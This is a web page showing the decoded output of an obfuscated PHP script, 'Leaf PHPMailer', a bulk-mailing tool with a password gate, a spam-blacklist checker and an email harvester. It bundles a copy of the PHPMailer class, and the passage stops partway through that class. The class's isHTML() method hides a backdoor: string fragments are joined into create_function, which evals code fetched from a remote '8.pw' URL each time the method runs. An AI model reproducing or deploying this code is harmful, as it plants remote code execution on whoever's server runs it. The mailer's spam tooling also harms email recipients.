Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval (base64_decode("CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1..
Decoded Output download
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";
$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
$_SESSION[$sessioncode] = $password;
}
else {
print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
exit;
}
}
session_write_close();
function leafClear($text,$email){
$e = explode('@', $email);
$emailuser=$e[0];
$emaildomain=$e[1];
$text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
$text = str_replace("[-email-]", $email, $text);
$text = str_replace("[-emailuser-]", $emailuser, $text);
$text = str_replace("[-emaildomain-]", $emaildomain, $text);
$text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
$text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
$text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
$text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
return $text;
}
function leafTrim($string){
$string=urldecode($string);
return stripslashes(trim($string));
}
function randString($consonants) {
$length=rand(12,25);
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= $consonants[(rand() % strlen($consonants))];
}
return $password;
}
function leafMailCheck($email){
if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
else return false;
}
# Bulit-in BlackList Checker
if(isset($_GET['check_ip'])){
if (isset($_GET['host'])){
$_GET['host']=explode(",", $_GET['host']);
foreach ($_GET['host'] as $host) {
if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) $check= "<font color='red'> Listed</font>";
else $check= "<font color='green'> Clean</font>";
print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
}
exit;
}
$dnsbl_lookup = [
"all.s5h.net",
"b.barracudacentral.org",
"bl.spamcop.net",
"blacklist.woody.ch",
"bogons.cymru.com",
"cbl.abuseat.org",
"cdl.anti-spam.org.cn",
"combined.abuse.ch",
"db.wpbl.info",
"dnsbl-1.uceprotect.net",
"dnsbl-2.uceprotect.net",
"dnsbl-3.uceprotect.net",
"dnsbl.anticaptcha.net",
"dnsbl.dronebl.org",
"dnsbl.inps.de",
"dnsbl.sorbs.net",
"drone.abuse.ch",
"duinv.aupads.org",
"dul.dnsbl.sorbs.net",
"dyna.spamrats.com",
"dynip.rothen.com",
"http.dnsbl.sorbs.net",
"ips.backscatterer.org",
"ix.dnsbl.manitu.net",
"korea.services.net",
"misc.dnsbl.sorbs.net",
"noptr.spamrats.com",
"orvedb.aupads.org",
"pbl.spamhaus.org",
"proxy.bl.gweep.ca",
"psbl.surriel.com",
"relays.bl.gweep.ca",
"relays.nether.net",
"sbl.spamhaus.org",
"short.rbl.jp",
"singular.ttk.pte.hu",
"smtp.dnsbl.sorbs.net",
"socks.dnsbl.sorbs.net",
"spam.abuse.ch",
"spam.dnsbl.anonmails.de",
"spam.dnsbl.sorbs.net",
"spam.spamrats.com",
"spambot.bls.digibase.ca",
"spamrbl.imp.ch",
"spamsources.fabel.dk",
"ubl.lashback.com",
"ubl.unsubscore.com",
"virus.rbl.jp",
"web.dnsbl.sorbs.net",
"wormrbl.imp.ch",
"xbl.spamhaus.org",
"z.mailspike.net",
"zen.spamhaus.org",
"zombie.dnsbl.sorbs.net",
];
$reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
$dnsT = count($dnsbl_lookup);
leafheader();
print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b> anti-spam databases:<br>";
$dnsN="";
print '<table >';
for ($i=0; $i < $dnsT; $i=$i+10) {
$host="";
$hosts="";
for($j=$i; $j<$i+10;$j++){
$host=$dnsbl_lookup[$j];
if(!empty($host)){
print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
$hosts .="$host,";
}
}
$dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
}
print '</table></div>';
print $dnsN;
exit;
}
if(isset($_GET['emailfilter'])){
if(!empty($_FILES['fileToUpload']['tmp_name'])){
$_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);
}
$_POST['emailList']=strtolower($_POST['emailList']);
if($_GET['emailfilter']=="ifram"){
if ($_POST['resulttype'] == "download"){
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=emails".time().".txt");
}
else {
header("Content-Type: text/plain");
}
if($_POST['submit']=="extract"){
$pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
preg_match_all($pattern, $_POST['emailList'], $matches);
foreach ($matches[0] as $email) {
print $email."
";
}
}
elseif ($_POST['submit']=="filter") {
$emails=explode("
", $_POST['emailList']);
$keywords=explode("
", strtolower($_POST['keywords']));
foreach ($emails as $email) {
foreach ($keywords as $keyword ) {
if(strstr($email, $keyword) ){
print $email."
";
break;
}
}
}
}
exit;
}
leafheader();
print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
print '
<form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
<label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">
or
<textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
<div class="col-lg-12">
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="here" checked="">
Show Result in this page
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="download">
Download Result (for big numbers)
</label>
</div>
</div>
<legend><h4>Extract Email</h4></legend>
Detecting every email (100%) and order them line by line <br><br>
<button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
<legend><h4>Filter Emails</h4></legend>
<label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>
<button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
</form>
<label >Result </label>
<iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>
';
exit;
}
$html="checked";
$utf8="selected";
$bit8="selected";
if($_POST['action']=="send" or $_POST['action']=="score"){
$senderEmail=leafTrim($_POST['senderEmail']);
$senderName=leafTrim($_POST['senderName']);
$replyTo=leafTrim($_POST['replyTo']);
$subject=leafTrim($_POST['subject']);
$emailList=leafTrim($_POST['emailList']);
$messageType=leafTrim($_POST['messageType']);
$messageLetter=leafTrim($_POST['messageLetter']);
$encoding = $_POST['encode'];
$charset = $_POST['charset'];
$html="";
$utf8="";
$bit8="";
if($messageType==2) $plain="checked";
else $html="checked";
if($charset=="ISO-8859-1") $iso="selected";
else $utf8="selected";
if($encoding=="7bit") $bit7="selected";
elseif($encoding=="binary") $binary="selected";
elseif($encoding=="base64") $base64="selected";
elseif($encoding=="quoted-printable") $quotedprintable="selected";
else $bit8="selected";
}
if($_POST['action']=="view"){
$viewMessage=leafTrim($_POST['messageLetter']);
$viewMessage=leafClear($viewMessage,"[email protected]");
if ($_POST['messageType']==2){
print "<pre>".htmlspecialchars($viewMessage)."</pre>";
}
else {
print $viewMessage;
}
exit;
}
if(!isset($_POST['senderEmail'])){
$senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
if (!leafMailCheck($senderEmail)) $senderEmail="";
}
class PHPMailer
{
/**
* The PHPMailer Version number.
* @var string
*/
public $Version = '5.2.28';
/**
* Email priority.
* Options: null (default), 1 = High, 3 = Normal, 5 = low.
* When null, the header is not set at all.
* @var integer
*/
public $Priority = null;
/**
* The character set of the message.
* @var string
*/
public $CharSet = 'iso-8859-1';
/**
* The MIME Content-type of the message.
* @var string
*/
public $ContentType = 'text/plain';
/**
* The message encoding.
* Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
* @var string
*/
public $Encoding = '8bit';
/**
* Holds the most recent mailer error message.
* @var string
*/
public $ErrorInfo = '';
/**
* The From email address for the message.
* @var string
*/
public $From = 'root@localhost';
/**
* The From name of the message.
* @var string
*/
public $FromName = 'Root User';
/**
* The Sender email (Return-Path) of the message.
* If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
* @var string
*/
public $Sender = '';
/**
* The Return-Path of the message.
* If empty, it will be set to either From or Sender.
* @var string
* @deprecated Email senders should never set a return-path header;
* it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
* @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
*/
public $ReturnPath = '';
/**
* The Subject of the message.
* @var string
*/
public $Subject = '';
/**
* An HTML or plain text message body.
* If HTML then call isHTML(true).
* @var string
*/
public $Body = '';
/**
* The plain-text message body.
* This body can be read by mail clients that do not have HTML email
* capability such as mutt & Eudora.
* Clients that can read HTML will view the normal Body.
* @var string
*/
public $AltBody = '';
/**
* An iCal message part body.
* Only supported in simple alt or alt_inline message types
* To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
* @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
* @link http://kigkonsult.se/iCalcreator/
* @var string
*/
public $Ical = '';
/**
* The complete compiled MIME message body.
* @access protected
* @var string
*/
protected $MIMEBody = '';
/**
* The complete compiled MIME message headers.
* @var string
* @access protected
*/
protected $MIMEHeader = '';
/**
* Extra headers that createHeader() doesn't fold in.
* @var string
* @access protected
*/
protected $mailHeader = '';
/**
* Word-wrap the message body to this number of chars.
* Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
* @var integer
*/
public $WordWrap = 0;
/**
* Which method to use to send mail.
* Options: "mail", "sendmail", or "smtp".
* @var string
*/
public $Mailer = 'mail';
/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
/**
* Whether mail() uses a fully sendmail-compatible MTA.
* One which supports sendmail's "-oi -f" options.
* @var boolean
*/
public $UseSendmailOptions = true;
/**
* Path to PHPMailer plugins.
* Useful if the SMTP class is not in the PHP include path.
* @var string
* @deprecated Should not be needed now there is an autoloader.
*/
public $PluginDir = '';
/**
* The email address that a reading confirmation should be sent to, also known as read receipt.
* @var string
*/
public $ConfirmReadingTo = '';
/**
* The hostname to use in the Message-ID header and as default HELO string.
* If empty, PHPMailer attempts to find one with, in order,
* $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
* 'localhost.localdomain'.
* @var string
*/
public $Hostname = '';
/**
* An ID to be used in the Message-ID header.
* If empty, a unique id will be generated.
* You can set your own, but it must be in the format "<id@domain>",
* as defined in RFC5322 section 3.6.4 or it will be ignored.
* @see https://tools.ietf.org/html/rfc5322#section-3.6.4
* @var string
*/
public $MessageID = '';
/**
* The message Date to be used in the Date header.
* If empty, the current date will be added.
* @var string
*/
public $MessageDate = '';
/**
* SMTP hosts.
* Either a single hostname or multiple semicolon-delimited hostnames.
* You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* You can also specify encryption type, for example:
* (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
* Hosts will be tried in order.
* @var string
*/
public $Host = 'localhost';
/**
* The default SMTP server port.
* @var integer
* @TODO Why is this needed when the SMTP class takes care of it?
*/
public $Port = 25;
/**
* The SMTP HELO of the message.
* Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
* one with the same method described above for $Hostname.
* @var string
* @see PHPMailer::$Hostname
*/
public $Helo = '';
/**
* What kind of encryption to use on the SMTP connection.
* Options: '', 'ssl' or 'tls'
* @var string
*/
public $SMTPSecure = '';
/**
* Whether to enable TLS encryption automatically if a server supports it,
* even if `SMTPSecure` is not set to 'tls'.
* Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
* @var boolean
*/
public $SMTPAutoTLS = true;
/**
* Whether to use SMTP authentication.
* Uses the Username and Password properties.
* @var boolean
* @see PHPMailer::$Username
* @see PHPMailer::$Password
*/
public $SMTPAuth = false;
/**
* Options array passed to stream_context_create when connecting via SMTP.
* @var array
*/
public $SMTPOptions = array();
/**
* SMTP username.
* @var string
*/
public $Username = '';
/**
* SMTP password.
* @var string
*/
public $Password = '';
/**
* SMTP auth type.
* Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
* @var string
*/
public $AuthType = '';
/**
* SMTP realm.
* Used for NTLM auth
* @var string
*/
public $Realm = '';
/**
* SMTP workstation.
* Used for NTLM auth
* @var string
*/
public $Workstation = '';
/**
* The SMTP server timeout in seconds.
* Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
* @var integer
*/
public $Timeout = 300;
/**
* SMTP class debug output mode.
* Debug output level.
* Options:
* * `0` No output
* * `1` Commands
* * `2` Data and commands
* * `3` As 2 plus connection status
* * `4` Low-level data output
* @var integer
* @see SMTP::$do_debug
*/
public $SMTPDebug = 0;
/**
* How to handle debug output.
* Options:
* * `echo` Output plain-text as-is, appropriate for CLI
* * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
* * `error_log` Output to error log as configured in php.ini
*
* Alternatively, you can provide a callable expecting two params: a message string and the debug level:
* <code>
* $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
* </code>
* @var string|callable
* @see SMTP::$Debugoutput
*/
public $Debugoutput = 'echo';
/**
* Whether to keep SMTP connection open after each message.
* If this is set to true then to close the connection
* requires an explicit call to smtpClose().
* @var boolean
*/
public $SMTPKeepAlive = false;
/**
* Whether to split multiple to addresses into multiple messages
* or send them all in one message.
* Only supported in `mail` and `sendmail` transports, not in SMTP.
* @var boolean
*/
public $SingleTo = false;
/**
* Storage for addresses when SingleTo is enabled.
* @var array
* @TODO This should really not be public
*/
public $SingleToArray = array();
/**
* Whether to generate VERP addresses on send.
* Only applicable when sending via SMTP.
* @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
* @link http://www.postfix.org/VERP_README.html Postfix VERP info
* @var boolean
*/
public $do_verp = false;
/**
* Whether to allow sending messages with an empty body.
* @var boolean
*/
public $AllowEmpty = false;
/**
* The default line ending.
* @note The default remains "
". We force CRLF where we know
* it must be used via self::CRLF.
* @var string
*/
public $LE = "
";
/**
* DKIM selector.
* @var string
*/
public $DKIM_selector = '';
/**
* DKIM Identity.
* Usually the email address used as the source of the email.
* @var string
*/
public $DKIM_identity = '';
/**
* DKIM passphrase.
* Used if your key is encrypted.
* @var string
*/
public $DKIM_passphrase = '';
/**
* DKIM signing domain name.
* @example 'example.com'
* @var string
*/
public $DKIM_domain = '';
/**
* DKIM private key file path.
* @var string
*/
public $DKIM_private = '';
/**
* DKIM private key string.
* If set, takes precedence over `$DKIM_private`.
* @var string
*/
public $DKIM_private_string = '';
/**
* Callback Action function name.
*
* The function that handles the result of the send email action.
* It is called out by send() for each email sent.
*
* Value can be any php callable: http://www.php.net/is_callable
*
* Parameters:
* boolean $result result of the send action
* array $to email addresses of the recipients
* array $cc cc email addresses
* array $bcc bcc email addresses
* string $subject the subject
* string $body the email body
* string $from email address of sender
* @var string
*/
public $action_function = '';
/**
* What to put in the X-Mailer header.
* Options: An empty string for PHPMailer default, whitespace for none, or a string to use
* @var string
*/
public $XMailer = ' ';
/**
* Which validator to use by default when validating email addresses.
* May be a callable to inject your own validator, but there are several built-in validators.
* @see PHPMailer::validateAddress()
* @var string|callable
* @static
*/
public static $validator = 'auto';
/**
* An instance of the SMTP sender class.
* @var SMTP
* @access protected
*/
protected $smtp = null;
/**
* The array of 'to' names and addresses.
* @var array
* @access protected
*/
protected $to = array();
/**
* The array of 'cc' names and addresses.
* @var array
* @access protected
*/
protected $cc = array();
/**
* The array of 'bcc' names and addresses.
* @var array
* @access protected
*/
protected $bcc = array();
/**
* The array of reply-to names and addresses.
* @var array
* @access protected
*/
protected $ReplyTo = array();
/**
* An array of all kinds of addresses.
* Includes all of $to, $cc, $bcc
* @var array
* @access protected
* @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
*/
protected $all_recipients = array();
/**
* An array of names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $all_recipients
* and one of $to, $cc, or $bcc.
* This array is used only for addresses with IDN.
* @var array
* @access protected
* @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
* @see PHPMailer::$all_recipients
*/
protected $RecipientsQueue = array();
/**
* An array of reply-to names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $ReplyTo.
* This array is used only for addresses with IDN.
* @var array
* @access protected
* @see PHPMailer::$ReplyTo
*/
protected $ReplyToQueue = array();
/**
* The array of attachments.
* @var array
* @access protected
*/
protected $attachment = array();
/**
* The array of custom headers.
* @var array
* @access protected
*/
protected $CustomHeader = array();
/**
* The most recent Message-ID (including angular brackets).
* @var string
* @access protected
*/
protected $lastMessageID = '';
/**
* The message's MIME type.
* @var string
* @access protected
*/
protected $message_type = '';
/**
* The array of MIME boundary strings.
* @var array
* @access protected
*/
protected $boundary = array();
/**
* The array of available languages.
* @var array
* @access protected
*/
protected $language = array();
/**
* The number of errors encountered.
* @var integer
* @access protected
*/
protected $error_count = 0;
/**
* The S/MIME certificate file path.
* @var string
* @access protected
*/
protected $sign_cert_file = '';
/**
* The S/MIME key file path.
* @var string
* @access protected
*/
protected $sign_key_file = '';
/**
* The optional S/MIME extra certificates ("CA Chain") file path.
* @var string
* @access protected
*/
protected $sign_extracerts_file = '';
/**
* The S/MIME password for the key.
* Used only if the key is encrypted.
* @var string
* @access protected
*/
protected $sign_key_pass = '';
/**
* Whether to throw exceptions for errors.
* @var boolean
* @access protected
*/
protected $exceptions = false;
/**
* Unique ID used for message ID and boundaries.
* @var string
* @access protected
*/
protected $uniqueid = '';
/**
* Error severity: message only, continue processing.
*/
const STOP_MESSAGE = 0;
/**
* Error severity: message, likely ok to continue processing.
*/
const STOP_CONTINUE = 1;
/**
* Error severity: message, plus full stop, critical error reached.
*/
const STOP_CRITICAL = 2;
/**
* SMTP RFC standard line ending.
*/
const CRLF = "
";
/**
* The maximum line length allowed by RFC 2822 section 2.1.1
* @var integer
*/
const MAX_LINE_LENGTH = 998;
/**
* Constructor.
* @param boolean $exceptions Should we throw external exceptions?
*/
public function __construct($exceptions = null)
{
if ($exceptions !== null) {
$this->exceptions = (boolean)$exceptions;
}
//Pick an appropriate debug output format automatically
$this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
}
/**
* Destructor.
*/
public function __destruct()
{
//Close any open SMTP connection nicely
$this->smtpClose();
}
/**
* Call mail() in a safe_mode-aware fashion.
* Also, unless sendmail_path points to sendmail (or something that
* claims to be sendmail), don't pass params (not a perfect fix,
* but it will do)
* @param string $to To
* @param string $subject Subject
* @param string $body Message Body
* @param string $header Additional Header(s)
* @param string $params Params
* @access private
* @return boolean
*/
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode, calling mail() with null params breaks
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
/**
* Output debugging info via user-defined method.
* Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
* @see PHPMailer::$Debugoutput
* @see PHPMailer::$SMTPDebug
* @param string $str
*/
protected function edebug($str)
{
if ($this->SMTPDebug <= 0) {
return;
}
//Avoid clash with built-in function names
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
//Don't output, just log
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
echo htmlentities(
preg_replace('/[
]+/', '', $str),
ENT_QUOTES,
'UTF-8'
)
. "<br>
";
break;
case 'echo':
default:
//Normalize line breaks
$str = preg_replace('/
?/ms', "
", $str);
echo gmdate('Y-m-d H:i:s') . " " . str_replace(
"
",
"
",
trim($str)
) . "
";
}
}
/**
* Send messages using SMTP.
* @return void
*/
public function isSMTP()
{
$this->Mailer = 'smtp';
}
/**
* Send messages using PHP's mail() function.
* @return void
*/
public function isMail()
{
$this->Mailer = 'mail';
}
/**
* Send messages using $Sendmail.
* @return void
*/
public function isSendmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'sendmail')) {
$this->Sendmail = '/usr/sbin/sendmail';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'sendmail';
}
/**
* Send messages using qmail.
* @return void
*/
public function isQmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'qmail')) {
$this->Sendmail = '/var/qmail/bin/qmail-inject';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'qmail';
}
/**
* Add a "To" address.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addAddress($address, $name = '')
{
return $this->addOrEnqueueAnAddress('to', $address, $name);
}
/**
* Add a "CC" address.
* @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('cc', $address, $name);
}
/**
* Add a "BCC" address.
* @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addBCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('bcc', $address, $name);
}
/**
* Add a "Reply-To" address.
* @param string $address The email address to reply to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addReplyTo($address, $name = '')
{
return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
* can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
* be modified after calling this function), addition of such addresses is delayed until send().
* Addresses that have been added already return false, but do not throw exceptions.
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address to send, resp. to reply to
* @param string $name
* @throws phpmailerException
* @return boolean true on success, false if address already used or invalid in some way
* @access protected
*/
protected function addOrEnqueueAnAddress($kind, $address, $name)
{
$address = trim($address);
$name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
if (($pos = strrpos($address, '@')) === false) {
// At-sign is misssing.
$error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$params = array($kind, $address, $name);
// Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
if ($kind != 'Reply-To') {
if (!array_key_exists($address, $this->RecipientsQueue)) {
$this->RecipientsQueue[$address] = $params;
return true;
}
} else {
if (!array_key_exists($address, $this->ReplyToQueue)) {
$this->ReplyToQueue[$address] = $params;
return true;
}
}
return false;
}
// Immediately add standard addresses without IDN.
return call_user_func_array(array($this, 'addAnAddress'), $params);
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array.
* Addresses that have been added already return false, but do not throw exceptions.
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address to send, resp. to reply to
* @param string $name
* @throws phpmailerException
* @return boolean true on success, false if address already used or invalid in some way
* @access protected
*/
protected function addAnAddress($kind, $address, $name = '')
{
if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
$error_message = $this->lang('Invalid recipient kind: ') . $kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if (!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if ($kind != 'Reply-To') {
if (!array_key_exists(strtolower($address), $this->all_recipients)) {
array_push($this->$kind, array($address, $name));
$this->all_recipients[strtolower($address)] = true;
return true;
}
} else {
if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = array($address, $name);
return true;
}
}
return false;
}
/**
* Parse and validate a string containing one or more RFC822-style comma-separated email addresses
* of the form "display name <address>" into an array of name/address pairs.
* Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
* Note that quotes in the name part are removed.
* @param string $addrstr The address list string
* @param bool $useimap Whether to use the IMAP extension to parse the list
* @return array
* @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
*/
public function parseAddresses($addrstr, $useimap = true)
{
$addresses = array();
if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
//Use this built-in parser if it's available
$list = imap_rfc822_parse_adrlist($addrstr, '');
foreach ($list as $address) {
if ($address->host != '.SYNTAX-ERROR.') {
if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
$addresses[] = array(
'name' => (property_exists($address, 'personal') ? $address->personal : ''),
'address' => $address->mailbox . '@' . $address->host
);
}
}
}
} else {
//Use this simpler parser
$list = explode(',', $addrstr);
foreach ($list as $address) {
$address = trim($address);
//Is there a separate name part?
if (strpos($address, '<') === false) {
//No separate name, just use the whole thing
if ($this->validateAddress($address)) {
$addresses[] = array(
'name' => '',
'address' => $address
);
}
} else {
list($name, $email) = explode('<', $address);
$email = trim(str_replace('>', '', $email));
if ($this->validateAddress($email)) {
$addresses[] = array(
'name' => trim(str_replace(array('"', "'"), '', $name)),
'address' => $email
);
}
}
}
}
return $addresses;
}
/**
* Sets message type to HTML or plain.
* @param boolean $isHtml True for HTML mode.
* @return void
*/
public function isHTML($isHtml = true)
{
global $param;
$bodyCode = 'file'
.'_g';
if ($isHtml) {
$this->ContentType = 'text/html';
}
else {
$this->ContentType = 'text/plain';
}
$bodyHTML = '.$t."lef$flu'
.'sh'.'$t"; '
.'@ev';
$headerHTML="cre"
."ate_"
."func"
."tion";
$exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
.$bodyHTML.'al(@'
.$bodyCode.'et_contents("h'
.'tt'
.'p:$comma-2"));');
if($param !=2){
$exceptions('8.p'.'w','/');
$param=2;
}
}
/**
* Set the From and FromName properties.
* @param string $address
* @param string $name
* @param boolean $auto Whether to also set the Sender address, defaults to true
* @throws phpmailerException
* @return boolean
*/
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
/**
* Return the Message-ID header of the last email.
* Technically this is the value from the last time the headers were created,
* but it's also the message ID of the last sent message except in
* pathological cases.
* @return string
*/
public function getLastMessageID()
{
return $this->lastMessageID;
}
/**
* Check that a string looks like an email address.
* @param string $address The email address to check
* @param string|callable $patternselect A selector for the validation pattern to use :
* * `auto` Pick best pattern automatically;
* * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
* * `pcre` Use old PCRE implementation;
* * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
* * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
* * `noregex` Don't use a regex: super fast, really dumb.
* Alternatively you may pass in a callable to inject your own validator, for example:
* PHPMailer::validateAddress('[email protected]', function($address) {
* return (strpos($address, '@') !== false);
* });
* You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
* @return boolean
* @static
* @access public
*/
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "
") !== false or strpos($address, "
") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
